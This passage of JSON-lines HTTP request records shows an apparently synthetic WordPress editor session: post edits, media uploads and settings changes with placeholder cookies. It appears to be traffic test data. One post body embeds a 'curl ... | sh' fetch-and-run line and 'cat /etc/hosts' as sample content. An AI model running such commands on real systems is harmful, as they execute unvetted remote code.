"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=13&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=post&has_focus=true"} +{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203288.2769880294799804687500", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/posts/13?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 890", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"id\":13,\"status\":\"publish\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\"}"} +{"method": "GET", "target": "/wp-admin/post.php?post=13&action=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""} +{"method": "GET", "target": "/?p=13", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""} +{"method": "GET", "target": "/bobs-first-post-2/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""} +{"method": "GET", "target": "/?p=13&preview=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""} +{"method": "GET", "target": "/wp-admin/revision.php?revision=14", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/revision.php?revision=14", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203301"], "body": "compare%5B%5D=14%3A13&action=get-revision-diffs&post_id=13"} +{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=15&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203303"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=17&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 415", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAaeabRwojB6M1Wog", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"file\"; filename=\"holiday-photo.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog--\r\n"} +{"method": "POST", "target": "/wp-json/wp/v2/media/18?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 409", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ3NQqb5rHLeqDitl", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"file\"; filename=\"bin-day.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl--\r\n"} +{"method": "POST", "target": "/wp-json/wp/v2/media/19?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 417", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPj3tR1NjEw5stIqA", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"file\"; filename=\"my passwd reset.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA--\r\n"} +{"method": "POST", "target": "/wp-json/wp/v2/media/20?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"} +{"method": "GET", "target": "/wp-admin/media-new.php?browser-uploader", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": ""} +{"method": "POST", "target": "/wp-admin/async-upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 778", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFjx3GBevQOAuXrl5", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": "------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nscan-01.png\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"post_id\"\r\n\r\n0\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n87ab0e0dbf\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\n\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"tab\"\r\n\r\n\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"short\"\r\n\r\n1\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"async-upload\"; filename=\"scan-01.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5--\r\n"} +{"method": "POST", "target": "/wp-admin/async-upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 24", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": "attachment_id=21&fetch=3"} +{"method": "GET", "target": "/wp-content/uploads/2026/11/scan-01.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": ""} +{"method": "GET", "target": "/wp-content/uploads/2026/11/holiday-photo.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203317"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?item=6", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203317"], "body": ""} +{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 472", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203324"], "body": "option_page=general&action=update&_wpnonce=d9d12950f3&_wp_http_referer=%2Fwp-admin%2Foptions-general.php&blogname=Example+Blog&blogdescription=Bob%27s+words+%26+thoughts&site_icon=0&siteurl=http%3A%2F%2Fblog.example&home=http%3A%2F%2Fblog.example&new_admin_email=editor1%40example.com&default_role=subscriber&WPLANG=&timezone_string=UTC%2B0&date_format=F+j%2C+Y&date_format_custom=F+j%2C+Y&time_format=g%3Ai+a&time_format_custom=g%3Ai+a&start_of_week=1&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-general.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203324"], "body": ""} +{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 197", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-reading.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203326"], "body": "option_page=reading&action=update&_wpnonce=1872e80cc5&_wp_http_referer=%2Fwp-admin%2Foptions-reading.php&show_on_front=posts&posts_per_page=12&posts_per_rss=10&rss_use_excerpt=0&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-reading.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-reading.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203326"], "body": ""} +{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 616", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-discussion.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203328"], "body": 